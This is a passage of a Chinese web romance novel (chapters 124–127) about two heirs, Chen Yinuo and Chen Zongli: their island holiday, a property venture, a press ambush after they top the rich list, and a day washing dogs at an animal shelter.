陈一诺一方面非常感慨陈宗礼的判断,这世界上,估计没有比陈宗礼更懂他的人了。 另一方面,又对陈宗礼总在他不知情时的小心翼翼,感到内疚。 他拉了拉陈宗礼的手,说道:“我在脑海里浅浅演示了一遍,我确实有可能连夜逃回A国。” “但我绝对,绝对,绝对不会甩了你。” 为了强调他不会,甚至用了三个“绝对”。 陈宗礼黑如墨的双眸,盈盈闪烁,他无奈地看着陈一诺,说道:“你这一句,比答应求婚还让我开心。” 他双手紧紧抱着陈一诺,两人的身体像海水一样,有节奏地晃动,摇啊摇的。 “陈宗礼……” “嗯,我在呢……” “以后你不要跟我求婚了,我来求吧……” 摇晃顿时停了,陈宗礼低头靠在他肩上蹭了蹭,后背的手又搂紧了些。 “不过,没有确切日期,可能比较久,我得等一切都准备好的时候……” “好!” 陈一诺话都没说完,陈宗礼就答应了。 对于两个男人来说,求婚只是一个仪式,背后是陈宗礼对陈一诺,多年来求而不得的患得患失。后背上的手又抱得更紧,陈宗礼似乎要把他整个人揉进自己怀里。 陈宗礼动情道:“多久我都等你……” …… 陈一诺发现,让工作离开脑袋比想象中的困难。 无论陈宗礼多次让他念咒语,他每天早上睁开眼睛,还会第一时间寻摸手机,准备处理邮件。 直到后来,他们乘李思维的游艇出海,那天风浪太大,游艇像在海里跳探戈,全程东摇西晃的。人都站不稳,他的手机就是在那时候被甩到海里。 他眼睁睁看着手机被蔚蓝色的海水吞噬,那颗热爱工作的心,终究还是死了。 没了手机,跟外界彻底断联,他就完全没有时间概念了。 每天睡醒就被陈宗礼拉着浮潜、徒步、出海……把东皇岛彻彻底底游玩了个遍。 每回集体出游,三对情侣之间总夹着一个董焱。脾气暴躁的董焱,愤懑不平。幸好“远程打工人”米麒非常耐心,接受他随时打视频的邀请,才稍微缓解他的不满。 因为“求婚乌龙”事件,大吵一架的庄嘉轩和陈宗瑜,在机车环岛回来之后,两人中指上,同时多了一圈素戒,说是“预订婚”,明显是把人哄好了,腻歪程度更胜从前。 以至于董焱看见他俩就要绕路走的程度。 陈一诺最喜欢东皇岛的傍晚,他发现,每天都有日落,但每次日落后的晚霞,就像拆盲盒,总有惊喜。 于是,陈一诺会早早吃完晚饭,拉着陈宗礼到海边,拆开今晚的晚霞盲盒。 他们赤脚踩在沙滩上,站在海浪能冲刷到的地方,放任海水一次又一次地抚过他们的脚掌。 等晚霞退尽,夜幕低垂,庄嘉轩就会呼唤他们回酒店,几个人偶尔玩玩桌游,输了的人要喝酒。 以陈一诺的实力,玩棋牌类基本不会输,但为了友谊,为了一点人情世故,他也会适当输一输。好喝几口酒,然后,晚上回房间的时候,借着几分醉意,对陈宗礼“耍流氓”。 有一次玩Showhand,陈宗礼连赢庄嘉轩几局,把他内裤都要赢走了,惹得他大吼大叫。陈宗礼确实一副你奈我何的表情,陈一诺忍不住在桌底用脚尖挑起陈宗礼的裤管,摩挲他的小腿。 做出这个动作的时候,陈一诺有一瞬间怔愣,毕竟,他少有这样表现欲望的时候。更别说勾引了。被撩的陈宗礼,更是惊讶,甚至一度以为是对家庄嘉轩腿伸太长。 当他垂眸看向桌底,发现“主动骚扰”他的人,居然是陈一诺。顿时上斜眼不可觉察地弯了弯,接着装作毫无波澜地出牌。手速很快地又赢了一局,完全无视庄嘉轩要“报仇”的喊叫声,直接拉着陈一诺离席。 刚进电梯,陈一诺就被陈宗礼压在电梯厢内旁若无人地吻了起来。他的手主动攀上他的后颈,双脚一跃而起盘上他的腰。 如果是以前,光是在电梯内接吻,陈一诺都担心随时电梯门随时打开,但陌生的环境让陈一诺放下防备,也愿意向陈宗礼敞开不为人知的另一面。 情人间独有的默契,让陈宗礼能感受到陈一诺的全然放松,他抱着陈一诺回到总统套房,来不及开灯,直接躺倒在客厅的长绒地毯上忘情热吻。 陈一诺的双手伸进他的后背,衬衫从裤子里被拽出、推高,露出整个倒三角形状的后背,他的手无力地拂过陈宗礼舒展健硕的蝴蝶骨,下身一凉,自己的裤子已经被扒了。 陈宗礼揉了几下他的臀,天生就要被掌控的形状,手感是难以形容的,让人成瘾的。 他凑到他耳边,压迫感十足道:“我去拿东西……” 陈一诺双脚夹着他的腰,不让人走,拒绝道:“别去,我冷。” 声音过于魅惑,陈宗礼用残存的理智,握着他的脚踝,把碎吻一个个印上他的小腿上。 劝道:“不用会疼。” 陈一诺怕痒,被他亲得受不了,声音从嘴唇溢出,轻喘道:“我不怕疼……” 陈一诺的声音非常蛊惑人,以至于陈宗礼理智全无,说着:“那你别哭……”低头吻上去。 那一夜,陈一诺前所有为地甜,基本上是予取予求,任人摆布。勾着陈宗礼做了很多离谱的事。 到最后,两人汗津津地躺在地毯上,陈一诺虚弱地几乎要睡过去,陈宗礼玩着他湿透的卷发,在他耳边呢喃:“别回去了,我们就在这住一辈子吧。” 陈一诺已经灵魂出窍,仿佛在说梦话:“明天就去选……选块地,我出钱!” 看他挥金如土的模样,陈宗礼忍不住捏捏他的鼻尖:“好!” …… 度过了毫无节制的几天,某天晚饭后,李思维把他们俩和董焱叫到一家名叫“过大海”的酒吧。 大家刚喝完一轮,她就忍不住问道:“焱少明早就走了,所以,想问问大家,经过几天的考察,在东皇岛开启巴库斯项目,大家同意吗?” 陈宗礼先表态:“我同意。” 董焱早就等着这一天了,回答非常迫不及待:“同意同意,赶紧弄吧……” 几句话说完,还在度假状态的陈一诺顿时大清醒。他把丢掉的工作脑袋捡回来,如梦初醒,原来从头到尾,他们都没打算放弃巴库斯项目。 他转头看向陈宗礼:“所以,当初你说服焱少放弃巴库斯的时候,就已经想好,把这个模式搬回国内?!” 陈宗礼没有否认,解释道:“A国的房地产项目已经饱和,但国内需求还是比较多。刚好思维觉得东皇岛是个不错的地方,让我们来勘查几天。现在,我和焱少都觉得合适,就差你了。” 李思维补充:“等巴库斯项目开始以后,东皇岛会作为第一个试点先运营起来。等头炮打响了,我们就把这个模式复制到全国各地!” 陈一诺惊讶:“什么意思?当初是我先跟他谈的合作,现在你们三家合作偷偷谈好了,才通知我一声?!” 李思维听见立马起哄:“哎哟,我的祖宗,谁敢不带你啊。” “不过,陈宗礼千叮万嘱,说你之前太累,这几天要好好休息,任何生意相关的事情不许说。” “要不是焱少要走,今晚这会都开不成~怎么样,答不答应?” 陈一诺耳朵已经听见钱的声音了,几乎立刻应道:“当然答应!有钱不赚是狗!” 第125章 一年后,港城。 周日中午,港城利园门口外,方圆500米街边,惯例潜伏着无数狗仔。 斜对角的一辆小轿车内,刚入职的小姑娘KK贴在车窗旁,拿望远镜四处打量。 “文师兄,今天是什么大日子么?头条娱乐和娱乐最前线的记者都来了……” 带她的老狗仔阿文推推眼镜:“每个月的第二个周日,陈宗礼和陈一诺会先陪陈老太爬山,然后全家来利园喝早茶,这是陈家约定俗成的习惯。” KK收回望远镜,等着阿文:“你是说,我们今天可能会看见陈宗礼和陈一诺?!” 阿文夺过她的望远镜,朝车前看去,他停车的位置有讲究,谁的车来,他第一时间能看见。 “你都不看新闻吗?新鲜出炉的福布斯富豪榜,陈家兄弟排第五,比去年的贺朗还高一名,新晋华人首富!今天来了那么多人,就是想第一时间采访他们。” 福布斯富豪榜的权威性无容置疑。去年贺朗夺下华人首富的位置,大家本以为他会稳坐很多年。甚至,有呼声说,贺家将成为“新港城四大家族”之首!谁曾想,只过一年时间,陈家兄弟就把华人首富宝座,从贺朗手上夺走。 让陈家继续稳坐“港城四大家族”之首的头衔。 KK赶紧拿出手机,恶补华人首富的相关报道,边看边道:“师兄,我看去年贺朗成首富的报道,也没那么大动静啊。怎么今年换成陈家,大家都那么激动?” 阿文推推眼镜,看着初出茅庐的小师妹:“这就是陈家对于港城人的意义!” “去年,贺朗成首富的时候,暗地买通媒体,集体唱衰陈家,说他们跌落神坛,不但港城四大家族之首的位置不保,甚至已经掉出四大家族。” “结果,陈一诺和陈宗礼双剑合璧,把天峻集团和一星集团弄得蒸蒸日上。股票像坐火箭一样往上窜,一举拿下首富位置。观众不就最爱看人触底反弹,逆袭成功么?” “所以,你现在明白,陈家重新登顶华人首富,港城人反应为什么大了吧?” KK对财经消息确实关注不多,只能临急抱佛脚:“我看报道说,他们去年拿下了羽南港项目,前两期的招商非常成功,引进不少国际集团落户港城,现在羽南港已经成为港城第二CBD。” “人才引进,税收多方利好……陈家在羽南港这个项目里,既赚了钱又赚了名声。” 阿文继续:“现在,连内地zf也给他们开绿灯。去年在上城东皇岛的巴库斯项目,上城的市/长/李安然看完这个计划,直接批给他们做了。” 听见巴库斯项目,天天刷xhs的KK立刻瞪大眼睛:“你说,东皇岛的巴库斯是他们做的?!” “我去!蓝莓音乐节的第一站就在巴库斯!我还以为就是一个荒地!结果,我看某红薯上的repo。整个巴库斯像一个欧洲小镇,超级好看!” 阿文点头:“严谨来说,这是陈李董三家联手做的项目。现在,东皇岛已经成了上城地标景点,不但节假日爆满,平日游客也很多。其他城市都眼红,抢着让巴库斯项目进驻他们城市。” 一年两个地产项目都做成爆款,这仅仅是陈家逆袭成首富的原因之一。 但无论如何,陈宗礼在记者发布会上跨下的海口:感情不会影响工作。 确实说到做到。 …… 一辆马萨拉蒂缓缓开来,KK立刻坐直:“师兄,是不是陈家的车?” 阿文扫一眼车牌,立刻认出:“李家的车。” 车窗旁闪过几个黑影,看背影是躲在其他车上的记者,拿着相机冲出去。 KK问道:“师兄,我们不去吗?” 阿文托起眼镜:“先不去。她们不会接受采访的。” 果然,李家的保镖半道就把狗仔拦在几米外。秦若霜母女完全没有停留,直接走进利园。 KK眯眼看着其他媒体的记者铩羽而归,有些佩服身旁师兄的判断。 在陈家成为华人首富这年,港城四大家族发生巨变。 李家纯邮轮事件后成了“植物人”,一辈子的“重男轻女”,最终庞大产业落到妻子秦若霜和女儿李思维手里,如今,宏发集团在她们手上,从低谷慢慢往上爬,每一次股价的跃升,都是给李家纯一记响亮的耳光。 董家在董嘉裕去世后,陷入了一段时间的家产争夺,最终,董焱和董嘉华谈拢,各自瓜分了董氏集团的业务。董焱大龄总裁半道上路,走得磕磕绊绊,幸好有陈家扶持着,巴库斯项目赚到钱,也赚到董事会的信任。董嘉华的际遇就悲惨许多,在出差时被绑架,惨遭撕票。 贺家更是唏嘘,贺朗重病入院,跟李家纯成了隔壁床的病友。大儿子贺朝风因为“诈骗罪”入狱,二儿子贺朝阳“谋杀罪”入狱,在几个月前病死在监狱。建盛集团在赔付WWT家族500亿后,A国巴库斯项目再度亏损,资金链面临断裂,曾经辉煌一时的建盛集团,如今只剩一个空壳子。 如果有心人复盘,就会发现,这一切,都是从陈一诺回港城开始的…… …… 马萨拉蒂刚开走,车牌CY1314的劳斯莱斯迎面开过来,身后还跟着一辆库里南。 这回,阿文不再淡定,像火箭一样立刻弹出车厢,KK反应了几秒才跟着跑出去,可师兄已经百米冲刺闯到劳斯莱斯前面。 穿着闪电蓝运动服的陈一诺,从后面那辆库里南下来,完全不像总裁,倒像个清清爽爽的男大学生。笑盈盈地给CY1314开门,接着,老太太从车上下来。 旁边记者们的长枪短炮连保镖都拦不住,一直对准他们,争先恐后地提问。 “恭喜陈家登上华人首富,老太太能停下来聊几句吗?” 人逢喜事精神爽,老太太特意对镜头挥挥手:“谢谢大家一直以来对我们的支持。” “时隔多年,陈家再次成为华人首富,能说说感想吗?” 这时,陈宗礼从库里南下来,把钥匙丢给保镖。自己快几步走到陈一诺身边。 KK距离他们很近,依稀看见陈宗礼牵了下陈一诺背在身后的手,但一眨眼又好似什么都没发生过。 老太太指着他们:“首富是他俩一手一脚打拼回来的。所以,我的感想就是与有荣焉。” 记者又问:“东皇岛的巴库斯项目那么成功,你去参观过吗?” 老太太笑笑:“之前刚好是戏剧节,我去逛了逛,景色不错,节目也不错,老少皆宜挺有意思的。” 记者:“听说,不少内地城市都在邀约巴库斯进驻,会考虑港城吗?” 老太太立刻打哈哈:“这个我不知道,待会问问他们。” 记者们还七嘴八舌地穷追问,老太太连忙道:“无论如何,大家的祝福都收到了。待会宗瑜会给大家发大红包,谢谢大家的支持!” 听见有红包,蹲点的记者们立刻发出一阵欢呼。 老太太刚好趁这空档,被吴淑芬挽着,往酒楼里面去。剩下三个孙辈面对媒体。 这个场地,这个画面,跟当年他们中标羽南港后,首次同框时一模一样。 陈一诺笑眯眯地双手插兜,身旁是看不出情绪,但正儿八经的陈宗礼。 陈一诺眼底藏不住笑意说:“各位记者朋友,放马过来吧,请提问!” 一个记者非常不客气,大声问道:“跟陈宗礼一起快一周年了,有什么感想吗?” “……” 毫无预兆的提问,让现场所有人一片死寂。 陈一诺心情好,倒是不介意,口吻甚至有些埋怨:“刚刚问老太太还是正儿八经的财经问题,怎么到我这里成娱乐专访了?” 气氛被他化解了一下,记者也起哄道:“随便说说吗,我们不乱写……” “最爱乱写就是你们……”他跟陈宗礼对视一瞬,笑道:“反正,在一起就开心,没所谓多少年。” “吁……”猝不及防吃到狗粮,现场一片嘘声。 陈宗礼难得笑笑:“有没有正经问题啊?” 记者:“咱们用一年时间,就把首富位置从贺朗手里夺回来。而贺家在去年也遭遇重大动荡,贺家两个公子相继入狱,贺朗重病。有人认为应该把贺家从四大家族除名,你怎么看呢?” 在外人眼中,只看得见贺家落魄。却不知道,这一切不过是命运的调换。 每次想到上辈子陈家的结局,陈宗礼就觉得家人身体健康,爱人常伴身旁,实在是太幸运。 而贺家也得到应有的报应,他不想落井下石。 只道:“我一直认为港城四大家族的说法有些不合时宜。” “为什么一定要选四大家族?生意做好了,就是四大家族;落魄了就得剔除。一定要这么卷吗?我们的人生又不是为了某个头衔活着的。” “没有这个头衔,我们该做什么还是会做什么。没有这个头衔,地球照样转。” “所以,希望大家可以废掉这个头衔,我们陈家,还是其他三家,都不需要。” 记者们顿时哗然,港城四大家族经历了百年更迭,多少港城豪门的终极目标,就为了挤进四大家族。被陈宗礼一句:人生不是为了某个头衔活着的,全然推翻。 换别人说这句,可能会被嘲:吃不到葡萄说葡萄酸。 哪怕是一年前的陈宗礼,也不能幸免,他们大概会说:要不是靠祖荫,要不是站在巨人肩膀上,你陈宗礼算什么东西? 可如今,一切都不同了。从去年陈家被看衰,到如今率领天峻逆风翻盘。他用实力证明,自己再也不是背靠家族的太子爷,他是陈家名副其实的掌舵者。 而他倡议,废除四大家族头衔,不再受它的束缚,没人敢说他什么。 但震撼的言论,依然被记者们默默记下,成为今天的港城新闻标题! 记者又问:“一诺,有传言说,当年你们为了跟董焱达成协议,建议董氏集团分家。你们给董焱建议,把部分业务拆分给董嘉华。导致今年年初,董嘉华在C国被绑架撕票,这件事你怎么看呢?” 这件事发生的时候,陈一诺和陈宗礼刚从东皇岛的巴库斯揭幕典礼回来。 董嘉华拿走黑产业以后,生怕董焱反悔似的。立刻跟董焱及其家人断了来往。还大张旗鼓地跟所有合作方宣传,自己是新上任的董家话事人。 但他人怂智短,脑子不够灵活,还特别贪钱。因为一次分赃不均,得罪了C国卖军/huo的那些走/私/老大。于是在一次送货途中,被他们设计了绑架。 本来,绑匪没想怎样,讹董嘉华一点赎金,顺便震慑震慑他。 殊不知,董嘉华两个儿子接到绑匪电话,听见索要两个亿,立刻支支吾吾不配合给钱,还跟绑匪讨价还价。 烦得绑匪不行,直接挂掉电话,然后每天给他们寄董嘉华断掉的手指、脚趾头。 快要凑齐20根了,实在扛不住,才心不甘情不愿地筹了两亿给绑匪。 最后,绑匪如愿拿到赎金,他们却只换回董嘉华冰冷的尸体。 陈一诺得知这件事后,应激地想起上辈子被绑架的陈宗礼,许久未犯的焦虑症毫无预兆地爆发。直接进了医院,打了镇定剂才冷静下来。 记者突然旧事重提,陈宗礼立刻皱眉想替他挡掉,但陈一诺被拒绝了。 他尽量稳住情绪:“对于董先生的遭遇,我们深感遗憾,希望他们节哀。” “作为外人,我们对董氏集团的拆分,不会过多干预。但我们相信董氏集团的潜力,未来我们的合作会继续,也希望大家继续留意巴库斯的后续,感谢。” 记者们还要继续追问,陈一诺已经欠身离开,陈宗礼立刻转身护着他,快步走进利园。 留下打圆场的陈宗瑜,和手捧红包的助理小童。 陈宗瑜:“感谢各位记者朋友,今天采访到此结束!过来领大红包,人人有份啊~”—— 作者有话说:完结预警,还有两章哈![眼镜] 第126章 “首富劲嚣张:陈宗礼呼吁取消港城四大家族,扬言不为头衔而活!” 陈一诺坐在副驾驶位,膝盖抵着车窗,边晃腿边念着耸动的新闻标题,啧啧道:“陈宗礼,你真是愈发狂了!这让老太太看见了,能忍得住不骂你几句?” 陈宗礼瞥着坐没坐相的陈一诺,说道:“老太太比我更不在乎,她都快八十了,能接受我们在一起,还在乎这些虚名么?” “就那么一个破头衔,还总有人想来争一争,也不知道图什么。每年还要被那些专家,预测来预测去,看哪家会被挤出四大家族,无聊透顶。” 平日最容易忿忿不平的陈一诺,此时倒不敢发表意见。 毕竟,整个港城,陈宗礼就是“头衔最大受害者”。他从出生起就是各种头衔:港城四大家族的陈太子、陈家第五代继承人、天峻掌舵者……如今,又多一个华人首富。 这些头衔像一颗颗宝石,镶嵌在皇冠里,每多一颗,皇冠就重几斤。千斤重的皇冠,却只能依靠脆弱的脖颈苦苦支撑。光从人体结构的角度看,已经非常不合理。 外人听了只觉得压力,比起陈宗礼获得算什么?他就活该受着,毕竟“欲戴皇冠,必承其重”,谁让你是陈宗礼呢?!就为了这些,陈宗礼忍了很多年。 这一切,陈一诺无法消解,只能伸手捏捏他的肩膀,安慰道:“行了行了,莫生气莫生气。” “今天,咱们抛开世俗的一切,吸吸大地精华,洗涤心灵。” 陈宗礼撇了眼导航的目的地,“切”了声:“去这儿吸大地精华?搞错了吧?” 车内连着陈一诺的蓝牙,响起陈宗礼从没听过的新歌,陈一诺开始摇头晃脑哼起来。 “信我吧,这里绝对是精华中的精华~出发!” …… 半小时后,他们站在日进宠物救助中心门前。救助中心的刘主任早早在门外恭候。 他抬起眼镜,跟他们郑重地握手:“两位陈先生,没想到你们会亲自来这里当志愿者,我仅代表所有猫猫狗狗和工作人员,感谢你们一直以来对救助中心的支持!” 陈一诺笑道:“该我感谢您才对,感谢你们把这里打理得那么好。刚刚我们从岚枫街到日进公园,沿途都能看见猫猫狗狗。每只都悠哉悠哉的,被养得很好。” 刘主任摆摆手:“都是本职工作,应该的。” “今天是救助中心的大扫除日,你们来得正好,刚好能帮上忙。” 刘主任在前面带路,他们在后面跟着,陈宗礼撇着陈一诺低声道:“来这里,吸大地精华,还是吸猫毛狗毛啊?” 陈一诺撩起眼皮看他,今天来当志愿者,没戴隐形眼镜,特意把黑框眼镜戴上,看着显小几岁。 “来这里还吸什么大地精华,当然是吸猫吸狗啊。我跟你说,巨补!” 这所动物救助中心虽然是陈宗礼出资筹建,但一方面他工作确实忙,另一方面来这里怕抑制不住思念陈一诺。所以,记忆中,他来这里的次数五只手指数得过来。更别提,来这里做志愿者。 所以,吸猫吸狗怎么补,他完全没概念。 他将信将疑地跟陈一诺走到工具间,刘主任给他们一人拿了一套工作制服,外加一条围裙和手套,解释道:“你们的衣服工作不方便,都换上我们的制服吧,放心都是全新的。” 刘主任打量着面前两位身价以亿做单位的少爷,补了一句:“这些工作,你们兴许不习惯,但难得来了,就体验体验。” 陈一诺立刻应道:“主任您放心,我们虽然看着像个少爷,骨子里还是偶尔能吃一点苦的……” “今天我们就是这里的员工,您指哪儿我们打哪儿~” 陈宗礼在他耳边低声说:“我可吃不了一点苦……” 陈一诺翻了个白眼,说道:“闭嘴吧少爷~” 刘主任笑眯眯指着另一个工作人员头戴绿色鸭舌帽,看着有些呆。 他吩咐:“待会儿你们跟着小李,他会告诉你们该做什么。” 说完,刘主任就背着手慢悠悠,走出去了。 …… 救助中心的员工服是白T恤,浅绿色裤子,面料轻薄。外配墨绿防水围裙,还写着:日进动物救助中心,请用领养代替购买。 墨绿色和白是陈宗礼很少尝试的搭配,看起来换然一新,很清新、舒服。 陈一诺换好衣服,嫌刘海太长,特意用彩色发夹把刘海夹成一个小啾,怪娇俏的。 他们跟着小李走到犬舍,地面还是湿的,有一股淡淡消毒水的味道。 小李介绍:“上午犬舍刚洗过,得晾干散散味道。趁天气好,你们把十几只狗洗一下。” 犬舍被洗了,狗狗只能转移到临时犬舍。 他们沿着犬舍一路往里走,打开一扇门,看见十几只狗,被安置在临时栅栏内。 它们很警觉,认出小李的气味,立刻争宠似的“汪汪汪汪”叫起来,仿佛在跟他投诉,怎么把它们丢在这里…… “行了行了!安静点!”小李安抚着叫得最大声的几只,才把他们带到身后的水池。 两个水池各有一平米大,高度及腰。他指着一排瓶瓶罐罐,说道:“这里是水池,待会把狗放到里面淋湿以后,用沐浴露洗干净。” 转身打开一旁像冰箱一样的白色机器:“然后,把它们放到烘干机里,烘干到六七成干,最后放它们回院子里晒太阳,自然风干。” 小李的这段介绍不知道说过多少遍,一个字废话没有,一点感情也没有。看着两位金主不但不谄媚,甚至没什么情绪。几句话交代完,还问他们:“听明白了吗?” 非常没有礼貌。 陈一诺连忙点头:“明白了。谢谢小李!” 小李分秒不停留,冷着脸转身离开。留下他俩陌生人跟十几只陌生狗,面面相觑。 陈一诺系紧围裙,走进栅栏,摩拳擦掌地对里面的狗狗说:“好了!今天一诺哥哥和宗礼哥哥,给你们洗澡!狗狗有份,一只都别想逃!” 他走进栅栏,最先看见一只灰色卷毛狗警惕地看着他,喃喃道:“小灰!就是你了!” 没给小灰一点反应时间,一手抓住它的前腿,另一只手兜住它的屁股,也不管它“汪汪汪”的抗议,直接抱进水池。把它脖子上的项圈跟水池旁的狗绳扣在一起,小狗就无法从水池逃出来。 一气呵成的动作,让陈宗礼看呆了,没等开口,陈一诺摸了摸小狗的脑袋,给陈宗礼安排任务。 “陈宗礼,小灰交给你,你好好洗。” 说完,转身又冲回栅栏,继续抓狗。这回狗子们学聪明了,看他抓着小伙伴出去洗澡,都猜到这人打什么主意,纷纷躲着他。为此,多费了些时间,才从里面抗出一条大黑狗。 大黑狗体型是小灰的三倍,他把狗一路扛到水池时,人和狗都气喘吁吁。 人是累的,狗是被气的。 他叉腰缓了缓,跟狗自言自语:“大黑别生气了,今天一诺哥哥给你洗个痛快澡!洗干净,你就是最帅的大黑了!” 说完,打开花洒把黑狗身上的毛淋湿,手指在狗下巴挠了挠,狗子自然仰起头,很受用的模样。 大黑被陈一诺摸舒服了,深红的舌头猝不及防地舔了舔他的脸。陈一诺愣着眼睛眨了眨。 陈宗礼调侃道:“果然小狗一家亲,那么快就打成一片了。” 陈一诺笑着躲开大黑的舔舐,有些得意:“那是,动物都爱我!你别嫉妒!” 他看向旁边,只见陈宗礼和它的小灰双方依旧僵持着,彼此很不熟的样子。 “哎,你们别愣着了,快洗!里面还有十几只等着呢。” 陈一诺走过去,把花洒打开塞到陈宗礼手里,手把手教道:“水从脖子往下冲,不要直接洗脑袋,耳朵容易进水。” 陈宗礼看他手法纯熟,好奇道:“你养过狗?动作那么熟练。” 陈一诺“嘿嘿”两声:“我建不成救助中心,但我在A国,是流浪动物救助机构的志愿者!每个月至少过去给它们洗一次澡,打扫打扫,偶尔还会帮忙策划领养活动。反正,做点力所能及的事~” 陈宗礼笑笑:“嗯,以后我们一起做。” “你先把这次做好再谈以后吧……”陈一诺笑着回去捣鼓他的大黑。 陈宗礼学着陈一诺的手法,在小灰下巴挠了挠,小灰非常给面子地仰起头。它的一双大眼睛埋在毛发里,让人看不真切它的感受,但应该是舒服的。 陈宗礼猜着它的心情,嘴角忍不住扬了扬,手掌移到小灰身上,顺着水流抚摸它的毛发。 小李抱着毛巾走过来,看他们已经在洗,而且,没有用手机跟狗狗合影,没有用花洒戏弄小狗,也没有乱洗一通,冷漠的表情暖了些。 他看了一眼小灰,言简意赅介绍道:“它是前两天刚捡回来的流浪狗,挺久没洗澡了,毛发有些打绺,可以用剪子修建一下。” 说完,像是从陈宗礼迷茫的眼神里,读懂不知道何为“毛发打绺”,直接拿起小灰一坨打死结的毛发,用剪刀“咔嚓”一下剪掉。 手里拿着那撮毛,问道:“懂了吗?” 陈宗礼虽然没接触过这些,但非常聪明,应道:“懂了。” 小李说完转身检查陈一诺手上的大黑,边检查边说:“这只黑狗被主人遗弃在岚枫山上,那天台风被吹倒的树压住,我们主任经过救了回来,特别乖。” 这里的动物,部分是生出来就开始流浪,大部分是被遗弃。心里有准备,但亲耳听到它们被解救时的状态,心头还是会一酸。 陈一诺忍不住揉了揉大黑的脑袋:“确实,我们大黑又帅又乖!” 陈宗礼侧耳听着他们的对话,忍不住摸了摸小灰的脑袋,在一堆杂乱的毛发里找它的眼睛,仿佛也在夸:你也很乖。 …… 熟手男工陈一诺的动作很快,半小时就把大黑身上的泡沫冲洗干净,整只抱进风干箱。 “啪——”关上门,定好烘干时间,说道:“大功告成!” 他拍了拍手上的碎毛,慢慢走到陈宗礼身边,这会儿小灰脚边已经全是被剪下来的杂毛,它也比之前“瘦”了一圈,这会儿满身都是白色的泡沫,有些滑稽。 花洒一开,“唰——”地把它身上的泡沫和污秽,顺着毛发像瀑布一样往下落。 陈一诺惊讶道:“哎哟,原来你不是小灰,是小白啊!” 水池里全是乌黑色的水,小灰逐渐恢复本来的面貌。原来它是一只白色卷毛小狗,眼睛被刘海似的长毛挡住一半,现在剪掉了,露出浑圆的两颗眼珠,很大很黑像葡萄一般,看着有点憨厚。 陈宗礼也很惊喜,双手捧着它的脑袋,左右揉搓:“啧啧啧,你居然还有两副面孔啊!” 陈一诺笑道:“那它不能叫小灰了,你就叫白小灰吧!” 白小灰“嘿嘿”吐着舌头,嘴弯弯的有些得瑟,像某人。它忽然快速甩了甩身上的毛发,两道水珠像撒网似的,密密麻麻甩到陈宗礼和陈一诺脸上,顿时,陈一诺镜片布满了水珠。 他摘下眼镜,不服道:“胆子不小啊白小灰!敢甩我一身水?!” 说罢,抱着白小灰一阵揉搓,他张嘴作势要咬它,被白小灰用前腿撑着,不让他接近。一时间,陈宗礼的眼前,仿佛同时看见两只卷毛狗。 陈宗礼叉着腰,看着眼前两狗打闹,笑得上气不接下气。 他深深吸入一口气,刚好抬头看见蓝天,心里的某个洞被填得好满好满。 脑海里,忽地浮现陈一诺那句:吸狗吸猫,巨补! …… 十几只狗洗完,一个下午的光阴匆匆溜走。 他们收拾好水池旁的东西,摘下手套,筋疲力竭地坐在长凳上。 这时,夕阳的光亮均匀洒满整个院子,连树上的叶子都散发着橙红色的光。如果避开阳光仔细看,院子的每个角落还躺着享受日落的小狗。 陈一诺“哇”地一声,指着满院子的劳动成果,仿佛指点着自己打下来的江山。 他赞叹道:“陈宗礼,多么干净的岁月静好啊!” 陈宗礼手搭在他身后的长椅上,轻轻捏着他的脸,盲目迎合道:“是,很舒服……” 陈一诺的脑袋抵住他的肩膀,问道:“以后,我们就在附近买个小别墅。院子里养几只小猫小狗,每晚吃完饭,就坐在院子里看看日落。没有工作,没有这那的烦心事,就坐在这里,看着一天浪费掉。” 那是陈宗礼没想过的生活,但今天他就是这么过的,笑道:“好像也不错。” 两个人不再说话,一起仰头感受日落的余温,耳旁听着微弱的风声,还有偶尔的犬吠,如果时间有声音,听起来估计就是这样…… 正当陈宗礼感觉到昏昏欲睡时,一阵风吹来,陈一诺猛地坐起“呸呸”两声,把他的睡意驱散得一干二净。 他摸了两把脸,皱眉:“陈宗礼,我觉得,刚刚风吹了几根狗毛到我嘴里,我去洗个脸,顺便把衣服换了。” 临走前,他凑到陈宗礼脸上“嗯嘛”一口,接着又“呸呸”两声,指着他控诉:“你脸上怎么也有毛?!小李……哪儿有浴室,我洗个澡!” 说完,一边啐着嘴上的毛,一边蹦着跳着去找小李—— 作者有话说:中秋快乐!!明天正文最后一章啦!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 第127章【END】 第127章 陈一诺吵着去洗澡的同时,陈宗礼也简单冲了冲身上的毛絮,换回原有的衣服。 等他浑身清爽回到救助中心的院子,太阳已经彻底落下,救助中心两旁的犬舍和猫舍都亮起了灯。 他给陈一诺打电话,但没人接。 他边重拨电话,边走到犬舍的窗户往里看。正是晚饭时间,铁饭盆一字排开,狗狗们分批到饭盆前吃饭。 狗狗们都很自觉,不争不抢,只吃自己碗里的,吃饱了自觉让给下一批狗,然后挺着圆滚滚的肚子,随便找个地方窝着。 大概是雏鸟情结,陈宗礼想再看一眼白小灰。可看了一圈,都没看见它的身影,不知道躲在哪个角落了。 这时,小李提着狗粮袋从犬舍走出来,看见陈宗礼还愣了一瞬,好像奇怪他怎么还在。 陈宗礼先开口:“你有看见一诺吗?跟我一起来的那个戴眼镜的男生。” 小李反应慢半拍,才想起来:“哦,看见了。他说,他先去赛车场,让你换好衣服过去。” “赛车场?”陈宗礼皱眉,完全没想到陈一诺能抛下他自己先跑了。 问道:“他去那里干什么?” 小李耸肩:“你有他手机号吗?” 陈宗礼愣了愣,说道:“有啊。” 小李也点头:“那你为什么不直接问他?!” 陈宗礼被问哽住了,他本想说没人接,但这话也没必要跟小李说,他干脆道:“好……谢谢啊。” “喂!”没走几步,小李又把他喊住。 “下次,你们还来吗?”问得很随意,但陈宗礼似乎从他呆板的目光里,看出一丢丢丢丢的期待。 虽然刚刚被噎了。但让这样冷漠的人,能问出这样的问题,并不容易。 陈宗礼回道:“来。” 小李立刻朝他挥了挥手,那张冷冰冰的脸上,竟然挂了点不自然的笑。 …… 陈宗礼带着一份莫名其妙的心情,从救助中心离开。慢慢散步从日进公园往赛车场的方向走。 直到走进岚枫山赛车场,陈一诺的电话依然没接,消息也没回。 他把手机收回口袋,不等了,干脆直接逮人。 走进岚枫山赛车场,场内灯火通明,硕大的LED屏,滚动显示着场上赛车的即时速度和排名。 明明一年多前,才跟陈一诺在这里比了一场“兄弟局”。他却感觉自己穿越回圣保罗时期,第一次踏足赛车场的时候。 那时,他才十七八,岚枫山赛车场刚建好,是港城人气最高,最具竞技热血的地方。 他跟庄嘉轩补习结束,不想回家,就会收买司机把他们送到这里,尽情玩一两个小时赛车。 